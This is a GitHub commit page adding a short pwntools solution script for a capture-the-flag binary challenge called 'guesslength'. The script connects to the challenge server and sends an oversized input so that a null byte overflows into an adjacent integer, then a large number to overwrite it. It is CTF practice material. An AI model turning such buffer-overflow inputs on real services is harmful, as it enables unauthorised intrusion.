Skip to content

Commit 629e7cb

Browse files
committedAug 29, 2016
added a solution to guesslength
1 parent 4ea9a9b commit 629e7cb

File tree

1 file changed

+13
-0
lines changed

1 file changed

+13
-0
lines changed
 

‎binary/guesslength-100/solution.py

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
from pwn import *
2+
import time
3+
context(arch='i386', os='linux') # <-- Add the architecture and os
4+
5+
HOST,PORT = "problems.ctfx.io",1338
6+
r=remote(HOST,PORT)
7+
8+
r.sendline("a" * 53) # fill the text buffer, and make the null byte overflow into the int's memory
9+
time.sleep(0.1)
10+
r.sendline("2147483647") # a large number will ensure that the null byte (which is in the int's memory) is overwritten
11+
time.sleep(0.1)
12+
13+
print r.recv(4000)

0 commit comments

Comments
 (0)
Please sign in to comment.